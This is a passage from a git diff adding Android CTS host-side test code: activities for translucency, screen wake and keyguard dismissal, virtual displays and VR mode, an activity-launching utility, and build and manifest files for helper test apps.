+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.app.Activity;
+import android.app.ActivityOptions;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class TranslucentAssistantActivity extends AssistantActivity {
+
+    /**
+     * Launches a new instance of the TranslucentAssistantActivity directly into the assistant
+     * stack.
+     */
+    static void launchActivityIntoAssistantStack(Activity caller, Bundle extras) {
+        final Intent intent = new Intent(caller, TranslucentAssistantActivity.class);
+        intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
+        if (extras != null) {
+            intent.putExtras(extras);
+        }
+
+        final ActivityOptions options = ActivityOptions.makeBasic();
+        options.setLaunchStackId(6 /* ActivityManager.StackId.ASSISTANT_STACK_ID */);
+        caller.startActivity(intent, options.toBundle());
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTestActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTestActivity.java
new file mode 100644
index 0000000..1d10a51
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTestActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import android.os.Bundle;
+
+public class TranslucentTestActivity extends TestActivity {
+
+    private static final String TAG = TranslucentTestActivity.class.getSimpleName();
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+
+        setContentView(R.layout.task_overlay);
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTopActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTopActivity.java
new file mode 100644
index 0000000..9d96898
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTopActivity.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import android.os.Handler;
+import android.os.Bundle;
+import android.util.Log;
+
+public class TranslucentTopActivity extends AbstractLifecycleLogActivity {
+
+    private static final String TAG = TranslucentTopActivity.class.getSimpleName();
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        final boolean useWallpaper = getIntent().getBooleanExtra("USE_WALLPAPER", false);
+        if (useWallpaper) {
+            setTheme(R.style.TranslucentWallpaperTheme);
+        }
+
+        final int finishDelay = getIntent().getIntExtra("FINISH_DELAY", 0);
+        if (finishDelay > 0) {
+            Handler handler = new Handler();
+            handler.postDelayed(new Runnable() {
+                @Override
+                public void run() {
+                    Log.d(TAG, "Calling finish()");
+                    finish();
+                }
+            }, finishDelay);
+        }
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnActivity.java
new file mode 100644
index 0000000..79e31b3
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class TurnScreenOnActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
+                | WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
+                | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD
+                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+        super.onCreate(savedInstanceState);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnDismissKeyguardActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnDismissKeyguardActivity.java
new file mode 100644
index 0000000..487f785
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnDismissKeyguardActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+import android.app.KeyguardManager;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class TurnScreenOnDismissKeyguardActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
+                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+        getSystemService(KeyguardManager.class).requestDismissKeyguard(this,
+                new KeyguardDismissLoggerCallback(this));
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java
new file mode 100644
index 0000000..07edfac
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java
@@ -0,0 +1,226 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.hardware.display.DisplayManager;
+import android.hardware.display.VirtualDisplay;
+import android.os.Bundle;
+import android.server.cts.tools.ActivityLauncher;
+import android.util.Log;
+import android.view.Surface;
+import android.view.SurfaceHolder;
+import android.view.SurfaceView;
+import android.view.ViewGroup;
+
+import java.util.HashMap;
+
+/**
+ * Activity that is able to create and destroy a virtual display.
+ */
+public class VirtualDisplayActivity extends Activity implements SurfaceHolder.Callback {
+    private static final String TAG = "VirtualDisplayActivity";
+
+    private static final int DEFAULT_DENSITY_DPI = 160;
+    private static final String KEY_DENSITY_DPI = "density_dpi";
+    private static final String KEY_PUBLIC_DISPLAY = "public_display";
+    private static final String KEY_RESIZE_DISPLAY = "resize_display";
+    private static final String KEY_LAUNCH_TARGET_ACTIVITY = "launch_target_activity";
+    private static final String KEY_COUNT = "count";
+
+    private DisplayManager mDisplayManager;
+
+    // Container for details about a pending virtual display creation request.
+    private static class VirtualDisplayRequest {
+        public final SurfaceView surfaceView;
+        public final Bundle extras;
+
+        public VirtualDisplayRequest(SurfaceView surfaceView, Bundle extras) {
+            this.surfaceView = surfaceView;
+            this.extras = extras;
+        }
+    }
+
+    // Container to hold association between an active virtual display and surface view.
+    private static class VirtualDisplayEntry {
+        public final VirtualDisplay display;
+        public final SurfaceView surfaceView;
+        public final boolean resizeDisplay;
+        public final int density;
+
+        public VirtualDisplayEntry(VirtualDisplay display, SurfaceView surfaceView, int density,
+                boolean resizeDisplay) {
+            this.display = display;
+            this.surfaceView = surfaceView;
+            this.density = density;
+            this.resizeDisplay = resizeDisplay;
+        }
+    }
+
+    private HashMap<Surface, VirtualDisplayRequest> mPendingDisplayRequests;
+    private HashMap<Surface, VirtualDisplayEntry> mVirtualDisplays;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.virtual_display_layout);
+
+        mVirtualDisplays = new HashMap<>();
+        mPendingDisplayRequests = new HashMap<>();
+        mDisplayManager = (DisplayManager) getSystemService(DISPLAY_SERVICE);
+    }
+
+    @Override
+    protected void onNewIntent(Intent intent) {
+        super.onNewIntent(intent);
+        final Bundle extras = intent.getExtras();
+        if (extras == null) {
+            return;
+        }
+
+        String command = extras.getString("command");
+        switch (command) {
+            case "create_display":
+                createVirtualDisplay(extras);
+                break;
+            case "destroy_display":
+                destroyVirtualDisplays();
+                break;
+            case "resize_display":
+                resizeDisplay();
+                break;
+        }
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        destroyVirtualDisplays();
+    }
+
+    private void createVirtualDisplay(Bundle extras) {
+        final int requestedCount = extras.getInt(KEY_COUNT, 1);
+        Log.d(TAG, "createVirtualDisplays. requested count:" + requestedCount);
+
+        for (int displayCount = 0; displayCount < requestedCount; ++displayCount) {
+            final ViewGroup root = (ViewGroup) findViewById(android.R.id.content);
+            final SurfaceView surfaceView = new SurfaceView(this);
+            surfaceView.setLayoutParams(new ViewGroup.LayoutParams(
+                    ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT));
+            surfaceView.getHolder().addCallback(this);
+            mPendingDisplayRequests.put(surfaceView.getHolder().getSurface(),
+                    new VirtualDisplayRequest(surfaceView, extras));
+            root.addView(surfaceView);
+        }
+    }
+
+    private void destroyVirtualDisplays() {
+        Log.d(TAG, "destroyVirtualDisplays");
+        final ViewGroup root = (ViewGroup) findViewById(android.R.id.content);
+
+        for (VirtualDisplayEntry entry : mVirtualDisplays.values()) {
+            Log.d(TAG, "destroying:" + entry.display);
+            entry.display.release();
+            root.removeView(entry.surfaceView);
+        }
+
+        mPendingDisplayRequests.clear();
+        mVirtualDisplays.clear();
+    }
+
+    @Override
+    public void surfaceCreated(SurfaceHolder surfaceHolder) {
+        final VirtualDisplayRequest entry =
+                mPendingDisplayRequests.remove(surfaceHolder.getSurface());
+
+        if (entry == null) {
+            return;
+        }
+
+        final int densityDpi = entry.extras.getInt(KEY_DENSITY_DPI, DEFAULT_DENSITY_DPI);
+        final boolean resizeDisplay = entry.extras.getBoolean(KEY_RESIZE_DISPLAY);
+        final String launchActivityName = entry.extras.getString(KEY_LAUNCH_TARGET_ACTIVITY);
+        final Surface surface = surfaceHolder.getSurface();
+
+        // Initially, the surface will not have a set width or height so rely on the parent.
+        // This should be accurate with match parent on both params.
+        final int width = surfaceHolder.getSurfaceFrame().width();
+        final int height = surfaceHolder.getSurfaceFrame().height();
+
+        int flags = 0;
+
+        final boolean publicDisplay = entry.extras.getBoolean(KEY_PUBLIC_DISPLAY);
+        if (publicDisplay) {
+            flags |= VIRTUAL_DISPLAY_FLAG_PUBLIC | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+        }
+
+        Log.d(TAG, "createVirtualDisplay: " + width + "x" + height + ", dpi: "
+                + densityDpi + ", publicDisplay=" + publicDisplay);
+        try {
+            VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(
+                    "VirtualDisplay" + mVirtualDisplays.size(), width,
+                    height, densityDpi, surface, flags);
+            mVirtualDisplays.put(surface,
+                    new VirtualDisplayEntry(virtualDisplay, entry.surfaceView, densityDpi,
+                            resizeDisplay));
+            if (launchActivityName != null) {
+                final int displayId = virtualDisplay.getDisplay().getDisplayId();
+                Log.d(TAG, "Launch activity after display created: activityName="
+                        + launchActivityName + ", displayId=" + displayId);
+                launchActivity(launchActivityName, displayId);
+            }
+        } catch (IllegalArgumentException e) {
+            final ViewGroup root = (ViewGroup) findViewById(android.R.id.content);
+            // This is expected when trying to create show-when-locked public display.
+            root.removeView(entry.surfaceView);
+        }
+
+    }
+
+    @Override
+    public void surfaceChanged(SurfaceHolder surfaceHolder, int format, int width, int height) {
+        final VirtualDisplayEntry entry = mVirtualDisplays.get(surfaceHolder.getSurface());
+
+        if (entry != null && entry.resizeDisplay) {
+            entry.display.resize(width, height, entry.density);
+        }
+    }
+
+    @Override
+    public void surfaceDestroyed(SurfaceHolder surfaceHolder) {
+    }
+
+    /** Resize virtual display to half of the surface frame size. */
+    private void resizeDisplay() {
+        final VirtualDisplayEntry vd = (VirtualDisplayEntry) mVirtualDisplays.values().toArray()[0];
+        final SurfaceHolder surfaceHolder = vd.surfaceView.getHolder();
+        vd.display.resize(surfaceHolder.getSurfaceFrame().width() / 2,
+                surfaceHolder.getSurfaceFrame().height() / 2, vd.density);
+    }
+
+    private void launchActivity(String activityName, int displayId) {
+        final Bundle extras = new Bundle();
+        extras.putBoolean("launch_activity", true);
+        extras.putString("target_activity", activityName);
+        extras.putInt("display_id", displayId);
+        ActivityLauncher.launchActivityFromExtras(this, extras);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VrTestActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VrTestActivity.java
new file mode 100644
index 0000000..6ef25e2
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VrTestActivity.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.util.Log;
+
+import com.android.cts.verifier.vr.MockVrListenerService;
+
+/**
+ * Activity that is able to create and destroy a virtual display.
+ */
+public class VrTestActivity extends Activity {
+    private static final String TAG = "VrTestActivity";
+    private static final boolean DEBUG = false;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        if (DEBUG) Log.i(TAG, "onCreate called.");
+        super.onCreate(savedInstanceState);
+        try {
+            setVrModeEnabled(true, new ComponentName(this, MockVrListenerService.class));
+        } catch (PackageManager.NameNotFoundException e) {
+            Log.e(TAG, "Could not set VR mode: " + e);
+        }
+    }
+
+    @Override
+    protected void onResume() {
+        if (DEBUG) Log.i(TAG, "onResume called.");
+        super.onResume();
+    }
+
+    @Override
+    public void onWindowFocusChanged(boolean hasFocus) {
+        if (DEBUG) Log.i(TAG, "onWindowFocusChanged called with " + hasFocus);
+        super.onWindowFocusChanged(hasFocus);
+    }
+
+    @Override
+    protected void onPause() {
+        if (DEBUG) Log.i(TAG, "onPause called.");
+        super.onPause();
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/WallpaperActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/WallpaperActivity.java
new file mode 100644
index 0000000..63e11d5
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/WallpaperActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+
+public class WallpaperActivity extends Activity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java
new file mode 100644
index 0000000..cac6bd6
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts.tools;
+
+import static android.content.Intent.FLAG_ACTIVITY_LAUNCH_ADJACENT;
+import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_REORDER_TO_FRONT;
+
+import android.app.ActivityOptions;
+import android.content.Intent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.net.Uri;
+import android.os.Bundle;
+import android.server.cts.TestActivity;
+import android.util.Log;
+
+/** Utility class which contains common code for launching activities. */
+public class ActivityLauncher {
+    private static final String TAG = ActivityLauncher.class.getSimpleName();
+
+    public static void launchActivityFromExtras(final Context context, Bundle extras) {
+        if (extras == null || !extras.getBoolean("launch_activity")) {
+            return;
+        }
+
+        Log.i(TAG, "launchActivityFromExtras: extras=" + extras);
+
+        final Intent newIntent = new Intent();
+        final String targetActivity = extras.getString("target_activity");
+        if (targetActivity != null) {
+            final String extraPackageName = extras.getString("package_name");
+            final String packageName = extraPackageName != null ? extraPackageName
+                    : context.getApplicationContext().getPackageName();
+            newIntent.setComponent(new ComponentName(packageName,
+                    packageName + "." + targetActivity));
+        } else {
+            newIntent.setClass(context, TestActivity.class);
+        }
+
+        if (extras.getBoolean("launch_to_the_side")) {
+            newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_LAUNCH_ADJACENT);
+            if (extras.getBoolean("random_data")) {
+                final Uri data = new Uri.Builder()
+                        .path(String.valueOf(System.currentTimeMillis()))
+                        .build();
+                newIntent.setData(data);
+            }
+        }
+        if (extras.getBoolean("multiple_task")) {
+            newIntent.addFlags(FLAG_ACTIVITY_MULTIPLE_TASK);
+        }
+        if (extras.getBoolean("new_task")) {
+            newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK);
+        }
+
+        if (extras.getBoolean("reorder_to_front")) {
+            newIntent.addFlags(FLAG_ACTIVITY_REORDER_TO_FRONT);
+        }
+
+        ActivityOptions options = null;
+        final int displayId = extras.getInt("display_id", -1);
+        if (displayId != -1) {
+            options = ActivityOptions.makeBasic();
+            options.setLaunchDisplayId(displayId);
+            newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
+        }
+
+        context.startActivity(newIntent, options != null ? options.toBundle() : null);
+    }
+}
diff --git a/hostsidetests/services/activitymanager/appDisplaySize/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk
similarity index 100%
rename from hostsidetests/services/activitymanager/appDisplaySize/Android.mk
rename to hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk
diff --git a/hostsidetests/services/activitymanager/appDisplaySize/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/AndroidManifest.xml
similarity index 100%
rename from hostsidetests/services/activitymanager/appDisplaySize/AndroidManifest.xml
rename to hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/AndroidManifest.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/src/android/displaysize/app/SmallestWidthActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/src/android/displaysize/app/SmallestWidthActivity.java
new file mode 100644
index 0000000..5da44c7
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/src/android/displaysize/app/SmallestWidthActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.displaysize.app;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class SmallestWidthActivity extends Activity {
+
+    @Override
+    protected void onNewIntent(Intent intent) {
+        super.onNewIntent(intent);
+
+        final Bundle extras = intent.getExtras();
+        if (extras != null && extras.getBoolean("launch_another_activity")) {
+            Intent startIntent = new Intent();
+            startIntent.setComponent(
+                    new ComponentName("android.server.cts", "android.server.cts.TestActivity"));
+            startActivity(startIntent);
+        }
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk
new file mode 100644
index 0000000..b591589
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_SDK_VERSION := test_current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsDeviceServicesTestSecondApp
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml
new file mode 100644
index 0000000..8d5c7a0
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+     Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.server.cts.second">
+
+    <application>
+        <activity android:name=".SecondActivity"
+                  android:resizeableActivity="true"
+                  android:exported="true" />
+        <receiver
+            android:name=".LaunchBroadcastReceiver"
+            android:enabled="true"
+            android:exported="true" >
+            <intent-filter>
+                <action android:name="android.server.cts.second.LAUNCH_BROADCAST_ACTION"/>
+            </intent-filter>
+        </receiver>
+    </application>
+
+</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java
new file mode 100644
index 0000000..0db6b19
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts.second;
+
+import android.app.ActivityOptions;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+/** Broadcast receiver that can launch activities. */
+public class LaunchBroadcastReceiver extends BroadcastReceiver {
+    private static final String TAG = LaunchBroadcastReceiver.class.getSimpleName();
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        final Bundle extras = intent.getExtras();
+        final Intent newIntent = new Intent();
+
+        final String targetActivity = extras != null ? extras.getString("target_activity") : null;
+        if (targetActivity != null) {
+            String packageName = extras.getString("package_name");
+            newIntent.setComponent(new ComponentName(packageName,
+                    packageName + "." + targetActivity));
+        } else {
+            newIntent.setClass(context, SecondActivity.class);
+        }
+
+        ActivityOptions options = ActivityOptions.makeBasic();
+        int displayId = extras.getInt("target_display", -1);
+        if (displayId != -1) {
+            options.setLaunchDisplayId(displayId);
+            newIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
+        } else {
+            newIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        }
+
+        try {
+            context.startActivity(newIntent, options.toBundle());
+        } catch (SecurityException e) {
+            Log.i(TAG, "SecurityException launching activity");
+        }
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivity.java
new file mode 100644
index 0000000..cea9ed5
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts.second;
+
+import android.app.Activity;
+
+public class SecondActivity extends Activity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk
new file mode 100644
index 0000000..4e71662
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
